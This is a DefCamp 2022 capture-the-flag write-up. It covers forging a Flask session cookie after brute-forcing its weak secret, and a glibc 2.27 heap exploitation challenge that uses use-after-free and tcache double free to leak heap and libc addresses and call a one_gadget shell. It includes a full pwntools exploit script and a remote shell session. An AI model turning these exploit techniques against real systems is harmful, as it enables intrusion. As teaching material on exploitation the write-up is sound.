--- tags: Writeup --- # DefCamp 2022 # Web ## web-intro We were given a flask website, where it only show Access Denied. Checking the cookie, we notice it contains the session. Using flask unsign, we try to bruteforce the secret, and found it. ```bash= flask-unsign --unsign --cookie eyJsb2dnZWRfaW4iOmZhbHNlfQ.YgY8Ag.brYMgM6ScmEf9me5I0-BKia5QTs flask-unsign --sign --cookie "{'logged_in': True}" --secret 'password' ``` > Flag: CTF{66bf8ba5c3ee2bd230f5cc2de57c1f09f471de8833eae3ff7566da21eb141eb7} # Pwn ## Cache > Disclaimer: This is my first time ever doing heap challenge, I spend a lot of time on learning while doing, so I'm sorry if I made some mistake during explaining my solution. Would love to have your comments or feedbacks if you found some misinformations on my writeup. ### Intro We were given a libc and a binary file called `vuln`. Checking the given libc, we know that the glibc version is `2.27` ### Initial analysis Here is the result of the decompilation with Ghidra ```c= void main(EVP_PKEY_CTX *param_1) { long in_FS_OFFSET; int local_24; void *student_pointer; code **admin_pointer; undefined8 local_10; local_10 = *(undefined8 *)(in_FS_OFFSET + 0x28); student_pointer = (void *)0x0; admin_pointer = (code **)0x0; init(param_1); do { while( true ) { while( true ) { while( true ) { puts("MENU"); puts("1: Make new admin"); puts("2: Make new user"); puts("3: Print admin info"); puts("4: Edit Student Name"); puts("5: Print Student Name"); puts("6: Delete admin"); puts("7: Delete user"); printf("\nChoice: "); fflush(stdout); __isoc99_scanf("%d%*c",&local_24); if (local_24 != 1) break; admin_pointer = (code **)malloc(0x10); admin_pointer[1] = admin_info; *admin_pointer = getFlag; } if (local_24 != 2) break; student_pointer = malloc(0x10); printf("What is your name: "); fflush(stdout); read(0,student_pointer,0x10); } if (local_24 != 3) break; (*admin_pointer[1])(); } if (local_24 == 4) { printf("What is your name: "); fflush(stdout); read(0,student_pointer,0x10); } else if (local_24 == 5) { if (student_pointer == (void *)0x0) { puts("New student has not been created yet"); } else { printf("Students name is %s\n",student_pointer); } } else if (local_24 == 6) { free(admin_pointer); } else if (local_24 == 7) { free(student_pointer); } else { puts("bad input"); } } while( true ); } ``` Reading the decompilation result, we notice some bug. - Use After Free on admin and student pointer (Because after being freed, the pointer is not set to null). - Double Free due to previous bug and the glibc version - We can easily call a function by calling the menu 3 (print admin info) ### Pitfall solution To make our life easier, let's make a wrapper in python to do that: ```python= libc = ELF('./libc.so.6') r = process('./vuln', env={}) def print_student(): r.sendlineafter(b'Choice: ', b'5') r.recvuntil(b'is ') return r.recvuntil(b'\n').strip() def new_admin(): r.sendlineafter(b'Choice: ', b'1') def free_admin(): r.sendlineafter(b'Choice: ', b'6') def get_shell(): r.sendlineafter(b'Choice: ', b'3') r.interactive() def new_student(name): r.sendlineafter(b'Choice: ', b'2') r.sendlineafter(b': ', name) def edit_student(name): r.sendlineafter(b'Choice: ', b'4') r.sendlineafter(b': ', name) def free_student(): r.sendlineafter(b'Choice: ', b'7') ``` Skimming the decompiled code, it seems the solution that we need is only abusing the UAF bug: - Create Admin - Free it (then the chunk goes to tcache because the malloc size is 0x10) - Create User where the last 8 byte is the `getFlag` address - Call Print Admin Info (Because `admin_pointer` and `student_pointer` is pointing to the same chunk, hence call Print Admin Info will call `getFlag`). After I did the above steps, turn out the printed flag was a fake flag. ![](https://i.imgur.com/OZxjkR9.jpg) ### Further analysis Seems like we need to trigger shell to look around for the real flag. Basically, our target is to do the above steps, but instead of putting the `getFlag` address, we trigger the shell. #### Idea explanation In order to do that, first I try to find `execve("/bin/sh"` on the given libc with `one_gadget`. We found some candidates. ``` 0x4f2c5 execve("/bin/sh", rsp+0x40, environ) constraints: rsp & 0xf == 0 rcx == NULL 0x4f322 execve("/bin/sh", rsp+0x40, environ) constraints: [rsp+0x40] == NULL 0x10a38c execve("/bin/sh", rsp+0x70, environ) constraints: [rsp+0x70] == NULL ``` To use that gadget, we need to leak libc base address. In order to do that, we can't rely on the tcache bin. We need to find a way, so that during we call the `free`, the chunk got cached inside `unsortedbin`, because unsorted bin chunk will store pointer to libc `main_arena`. With UAF, we can leak the libc base address. How to do that? The main idea is we need to: - Forge a chunk with size `0x90` - Free it 7 times (So that tcache[0x90] will be full) - Free it one more time. And then our chunk will go to `unsortedbin` (If we use size smaller than 0x90, it will go to `fastbin`) - Using UAF, we can print the chunk data (which contains the libc address of the `main_arena`) - Reuse the pitfall solution, but instead of `getFlag` address, we store our shell gadget address Let's do that :smile: #### Leak heap address In order to fulfill that, we need to find the heap_address first. We can use double free to retrieve the heap address: - Create new student - Free it (our chunk will go to tcache, and `tcache_entry->next` is null) - Free it again (Because we free the same chunk, the single linked list of `tcache_entry` will create a loop. The tcache[0x20] will be like this`student_pointer->student_pointer->...`) ```python= # Leak heap address by double-free new_student(b'a'*0x10) for i in range(2): # Double free free_student() out = print_student() heap_address = u64(out.ljust(8, b'\x00')) log.info(f'Leak heap address: {hex(heap_address)}') ``` Heap after creating new student named `aaaaaaaaaaaaaaaa` ```shell= pwndbg> x/30gx 0x21a0260-0x10 0x21a0250: 0x0000000000000000 0x0000000000000021 <- chunk size metadata 0x21a0260: 0x6161616161616161 0x6161616161616161 <- chunk data 0x21a0270: 0x0000000000000000 0x0000000000020d91 0x21a0280: 0x0000000000000000 0x0000000000000000 0x21a0290: 0x0000000000000000 0x0000000000000000 0x21a02a0: 0x0000000000000000 0x0000000000000000 0x21a02b0: 0x0000000000000000 0x0000000000000000 0x21a02c0: 0x0000000000000000 0x0000000000000000 0x21a02d0: 0x0000000000000000 0x0000000000000000 0x21a02e0: 0x0000000000000000 0x0000000000000000 0x21a02f0: 0x0000000000000000 0x0000000000000000 0x21a0300: 0x0000000000000000 0x0000000000000000 0x21a0310: 0x0000000000000000 0x0000000000000000 0x21a0320: 0x0000000000000000 0x0000000000000000 0x21a0330: 0x0000000000000000 0x0000000000000000 ``` First free ```shell= pwndbg> x/30gx 0x21a0260-0x10 0x21a0250: 0x0000000000000000 0x0000000000000021 0x21a0260: 0x0000000000000000 0x6161616161616161 <- This chunk become tcache_entry, and the first 8 bytes point to the next tcache_entry, which is null because only 1 entry for now 0x21a0270: 0x0000000000000000 0x0000000000020d91 0x21a0280: 0x0000000000000000 0x0000000000000000 0x21a0290: 0x0000000000000000 0x0000000000000000 0x21a02a0: 0x0000000000000000 0x0000000000000000 0x21a02b0: 0x0000000000000000 0x0000000000000000 0x21a02c0: 0x0000000000000000 0x0000000000000000 0x21a02d0: 0x0000000000000000 0x0000000000000000 0x21a02e0: 0x0000000000000000 0x0000000000000000 0x21a02f0: 0x0000000000000000 0x0000000000000000 0x21a0300: 0x0000000000000000 0x0000000000000000 0x21a0310: 0x0000000000000000 0x0000000000000000 0x21a0320: 0x0000000000000000 0x0000000000000000 0x21a0330: 0x0000000000000000 0x0000000000000000 ``` Free it again ```shell= pwndbg> x/30gx 0x21a0260-0x10 0x21a0250: 0x0000000000000000 0x0000000000000021 0x21a0260: 0x00000000021a0260 0x6161616161616161 <- Because of the double free, the tcache_entry single linked list create a loop 0x21a0270: 0x0000000000000000 0x0000000000020d91 0x21a0280: 0x0000000000000000 0x0000000000000000 0x21a0290: 0x0000000000000000 0x0000000000000000 0x21a02a0: 0x0000000000000000 0x0000000000000000 0x21a02b0: 0x0000000000000000 0x0000000000000000 0x21a02c0: 0x0000000000000000 0x0000000000000000 0x21a02d0: 0x0000000000000000 0x0000000000000000 0x21a02e0: 0x0000000000000000 0x0000000000000000 0x21a02f0: 0x0000000000000000 0x0000000000000000 0x21a0300: 0x0000000000000000 0x0000000000000000 0x21a0310: 0x0000000000000000 0x0000000000000000 0x21a0320: 0x0000000000000000 0x0000000000000000 0x21a0330: 0x0000000000000000 0x0000000000000000 ``` Now, with UAF, we can print student info, which point to the `tcache_entry`, and we successfully leak the heap_address (via print student info menu). After that don't forget to empty the tcache. Set the `tcache_entry->next pointer` to null, so that when we create a new student, the tcache will be empty (because the next pointer is null). We can use menu 4 (edit student) to null it, because the `student_pointer` still point to our chunk data. ```python= # Set tcache[0x20] to empty edit_student(p64(0)) # Make the current tcache_entry->next to null new_student(b'a'*8) # The malloc will use the cached chunk, and because the next is null, tcache[0x20] is now empty ``` Now our tcache is empty, and we are ready to create our forged chunk. #### Create forged chunk After finding the heap address, we can create our `0x91` forged chunk (by creating new student), and then later with double free + UAF, we can overwrite the pointer of tcache to point to our forged chunk. We just need to create a lot of chunk (via new student menu) where the name last byte is `0x91`. I create new student 6 times, so that the next of my fake chunk is not the wilderness (because if it is, it will get consolidated). ```python= # Populate heap because we will forge the chunk to 0x90 size (1 alloc = 0x20 bytes) # Make sure the next of our forged chunk is not the wilderness for i in range(6): new_student(p64(0) + p64(0x91)) ``` Heap structure after that: ```shell= pwndbg> x/30gx 0x21a0260-0x10 0x21a0250: 0x0000000000000000 0x0000000000000021 0x21a0260: 0x6161616161616161 0x616161616161610a -> Leaked heap address 0x21a0270: 0x0000000000000000 0x0000000000000021 0x21a0280: 0x0000000000000000 0x0000000000000091 -- 0x21a0290: 0x0000000000000000 0x0000000000000021 | 0x21a02a0: 0x0000000000000000 0x0000000000000091 | 0x21a02b0: 0x0000000000000000 0x0000000000000021 | 0x21a02c0: 0x0000000000000000 0x0000000000000091 |-> This is our fake chunk with size 0x91 0x21a02d0: 0x0000000000000000 0x0000000000000021 | 0x21a02e0: 0x0000000000000000 0x0000000000000091 | 0x21a02f0: 0x0000000000000000 0x0000000000000021 | 0x21a0300: 0x0000000000000000 0x0000000000000091 -- 0x21a0310: 0x0000000000000000 0x0000000000000021 0x21a0320: 0x0000000000000000 0x0000000000000091 -> student_pointer is currently pointing to this chunk 0x21a0330: 0x0000000000000000 0x0000000000020cd1 ``` #### Make student_pointer to point the forged chunk Now we have prepare our forged chunk, now we need to make a pointer point to the chunk (`leaked_heap_address+0x30`) and then free it. The idea is to: - Free the `student_pointer`. So that `tcache[0x20] = last_chunk` - Call edit student to overwrite the `tcache_entry->next` to our forged chunk (`leaked_heap_address+0x30`), so that `tcache[0x20] = last_chunk->heap_address+0x30` - Create new student. This will be allocated to our last chunk, and `tcache[0x20]` will point to `heap_address+0x30` - Create new student again. This student will be allocated to `heap_address+0x30` and now we have a pointer to our forged chunk that is ready to be freed. ```python= # Free the last chunk # Overwrite it with our desired address (heap_address + 0x30) free_student() edit_student(p64(heap_address+0x30)) # tcache[0x20] = last_chunk->heap_address+0x30 new_student(b'a'*8) # Allocate it to last chunk. Now, tcache[0x20] = heap_address+0x30 new_student(b'a'*8) # Allocate it to heap_address+0x30. Now, tcache[0x20] = empty and student_pointer point to heap_address+0x30 ``` Heap structure after that: ```shell= pwndbg> x/30gx 0x21a0260-0x10 0x21a0250: 0x0000000000000000 0x0000000000000021 0x21a0260: 0x6161616161616161 0x616161616161610a 0x21a0270: 0x0000000000000000 0x0000000000000021 0x21a0280: 0x0000000000000000 0x0000000000000091 0x21a0290: 0x6161616161616161 0x000000000000000a <- student_pointer 0x21a02a0: 0x0000000000000000 0x0000000000000091 0x21a02b0: 0x0000000000000000 0x0000000000000021 0x21a02c0: 0x0000000000000000 0x0000000000000091 0x21a02d0: 0x0000000000000000 0x0000000000000021 0x21a02e0: 0x0000000000000000 0x0000000000000091 0x21a02f0: 0x0000000000000000 0x0000000000000021 0x21a0300: 0x0000000000000000 0x0000000000000091 0x21a0310: 0x0000000000000000 0x0000000000000021 0x21a0320: 0x6161616161616161 0x000000000000000a 0x21a0330: 0x0000000000000000 0x0000000000020cd1 ``` #### Leak libc base address Now we have a pointer to our fake chunk, we are ready to leak the libc address of `main_arena`. We just need to free it 7 times (to fulfill `tcache[0x90]` bin), and then free it one more time, to make our chunk as the cache of unsorted bin. ```python= for i in range(7): free_student() # Free it 7 times to fulfill tcache[0x90] # Because tcache[0x90] is full, the next free will put the cached chunk into unsorted bins free_student() # Cache goes to unsorted bins, and its pointer will point to the main_arena # Now our pointer is pointing to the main_arena. We can leak the libc address by using the print menu, # because the student variable is still a pointer to the freed chunk out = print_student() main_arena = libc.symbols['main_arena'] libc_leaked = u64(out.ljust(8, b'\x00')) # We got main_arena+0x60 libc_base = libc_leaked - main_arena - 0x60 log.info(f'Leak libc base address: {hex(libc_base)}') ``` Bins and Heap structure before the 8th free: ```shell= pwndbg> bins tcachebins 0x90 [ 7]: 0x21a0290 ◂— 0x21a0290 fastbins 0x20: 0x0 0x30: 0x0 0x40: 0x0 0x50: 0x0 0x60: 0x0 0x70: 0x0 0x80: 0x0 unsortedbin all: 0x0 smallbins empty largebins empty pwndbg> x/30gx 0x21a0260-0x10 0x21a0250: 0x0000000000000000 0x0000000000000021 0x21a0260: 0x6161616161616161 0x616161616161610a 0x21a0270: 0x0000000000000000 0x0000000000000021 0x21a0280: 0x0000000000000000 0x0000000000000091 0x21a0290: 0x00000000021a0290 0x000000000000000a <- student_pointer pointed address 0x21a02a0: 0x0000000000000000 0x0000000000000091 0x21a02b0: 0x0000000000000000 0x0000000000000021 0x21a02c0: 0x0000000000000000 0x0000000000000091 0x21a02d0: 0x0000000000000000 0x0000000000000021 0x21a02e0: 0x0000000000000000 0x0000000000000091 0x21a02f0: 0x0000000000000000 0x0000000000000021 0x21a0300: 0x0000000000000000 0x0000000000000091 0x21a0310: 0x0000000000000000 0x0000000000000021 0x21a0320: 0x6161616161616161 0x000000000000000a 0x21a0330: 0x0000000000000000 0x0000000000020cd1 ``` After the 8th free: ```shell= pwndbg> bins tcachebins 0x90 [ 7]: 0x21a0290 —▸ 0x7f7bd939aca0 (main_arena+96) —▸ 0x21a0330 ◂— 0x0 fastbins 0x20: 0x0 0x30: 0x0 0x40: 0x0 0x50: 0x0 0x60: 0x0 0x70: 0x0 0x80: 0x0 unsortedbin all: 0x21a0280 —▸ 0x7f7bd939aca0 (main_arena+96) ◂— 0x21a0280 smallbins empty largebins empty pwndbg> x/30gx 0x21a0260-0x10 0x21a0250: 0x0000000000000000 0x0000000000000021 0x21a0260: 0x6161616161616161 0x616161616161610a 0x21a0270: 0x0000000000000000 0x0000000000000021 0x21a0280: 0x0000000000000000 0x0000000000000091 0x21a0290: 0x00007f7bd939aca0 0x00007f7bd939aca0 <- student_pointer pointed address and now its contains libc address of the main_arena 0x21a02a0: 0x0000000000000000 0x0000000000000091 0x21a02b0: 0x0000000000000000 0x0000000000000021 0x21a02c0: 0x0000000000000000 0x0000000000000091 0x21a02d0: 0x0000000000000000 0x0000000000000021 0x21a02e0: 0x0000000000000000 0x0000000000000091 0x21a02f0: 0x0000000000000000 0x0000000000000021 0x21a0300: 0x0000000000000000 0x0000000000000091 0x21a0310: 0x0000000000000090 0x0000000000000020 0x21a0320: 0x6161616161616161 0x000000000000000a 0x21a0330: 0x0000000000000000 0x0000000000020cd1 ``` With UAF, simply print the student info, and because the student pointer is currently pointing to the leaked libc, it will print the libc address. We finally got the leaked libc address. #### Final step After that, we can reuse the first pitfall solution, but instead of putting the `getFlag` address, we put our shell_address ready to be executed ```python= shell_addr = libc_base + libc_shell new_admin() # Create new admin free_admin() # Free it new_student(p64(0)+p64(shell_addr)) # Create new student # Because of the tcache, now variable admin and student are pointing to the same chunk, # and the chunk data (last 8 bytes) that can be called by the admin is our shell_addr get_shell() ``` Executing the full solution will give us shell and we can read the real flag. ```shell= Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled [+] Opening connection to 35.246.134.224 on port 30532: Done [*] Leak heap address: 0x1de0260 [*] Leak libc base address: 0x7f8af6ff1000 [*] Switching to interactive mode $ ls flag.txt ld-2.27.so libc.so.6 real_flag.txt vuln vuln.c $ cat real_flag.txt CTF{ab7bdaa3e5ed17ed326fef624a2d95d6ea62caa3dba6d1e5493936c362eed40e} ``` > Flag: CTF{ab7bdaa3e5ed17ed326fef624a2d95d6ea62caa3dba6d1e5493936c362eed40e} ### Full Solution ```python= from pwn import * context.arch = 'amd64' context.encoding = 'latin' context.log_level = 'INFO' warnings.simplefilter("ignore") ''' 1 malloc(admin) 2 malloc(student) 3 call admin[1] 4 edit student 5 print student 6 free admin 7 free student ''' libc = ELF('./libc.so.6') r = process('./vuln_patched', env={}) # r = remote('34.159.7.96', 32552) def print_student(): r.sendlineafter(b'Choice: ', b'5') r.recvuntil(b'is ') return r.recvuntil(b'\n').strip() def new_admin(): r.sendlineafter(b'Choice: ', b'1') def free_admin(): r.sendlineafter(b'Choice: ', b'6') def get_shell(): r.sendlineafter(b'Choice: ', b'3') r.interactive() def new_student(name): r.sendlineafter(b'Choice: ', b'2') r.sendlineafter(b': ', name) def edit_student(name): r.sendlineafter(b'Choice: ', b'4') r.sendlineafter(b': ', name) def free_student(): r.sendlineafter(b'Choice: ', b'7') # Leak heap address by double-free new_student(b'a'*0x10) for i in range(2): # Double free free_student() out = print_student() heap_address = u64(out.ljust(8, b'\x00')) log.info(f'Leak heap address: {hex(heap_address)}') # Set tcache[0x20] to empty edit_student(p64(0)) # Make the current tcache_entry->next to null new_student(b'a'*8) # The malloc will use the cached chunk, and because the next is null, tcache[0x20] is now empty # Populate heap because we will forge the chunk to 0x90 size (1 alloc = 0x20 bytes) # Make sure the next of our forged chunk is not the wilderness for i in range(6): new_student(p64(0) + p64(0x91)) # Free the last chunk # Overwrite it with our desired address (heap_address + 0x30) free_student() edit_student(p64(heap_address+0x30)) # tcache[0x20] = last_chunk->heap_address+0x30 new_student(b'a'*8) # Allocate it to last chunk. Now, tcache[0x20] = heap_address+0x30 new_student(b'a'*8) # Allocate it to heap_address+0x30. Now, tcache[0x20] = empty and student pointer point to heap_address+0x30 for i in range(7): free_student() # Free it 7 times to fulfill tcache[0x90] # Because tcache[0x90] is full, the next free will put the cached chunk into unsorted bins free_student() # Cache goes to unsorted bins, and its pointer will point to the main_arena # Now our pointer is pointing to the main_arena. We can leak the libc address by using the print menu, # because the student variable is still a pointer to the freed chunk out = print_student() main_arena = libc.symbols['main_arena'] libc_leaked = u64(out.ljust(8, b'\x00')) # We got main_arena+0x60 libc_base = libc_leaked - main_arena - 0x60 log.info(f'Leak libc base address: {hex(libc_base)}') libc_shell = 0x10a38c # one_gadget shell_addr = libc_base + libc_shell new_admin() # Create new admin free_admin() # Free it new_student(p64(0)+p64(shell_addr)) # Create new student # Because of the tcache, now variable admin and student are pointing to the same chunk, # and the chunk data (last 8 bytes) that can be called by the admin is our shell_addr get_shell() ``` # Social Media Follow me on [twitter](https://twitter.com/chovid99)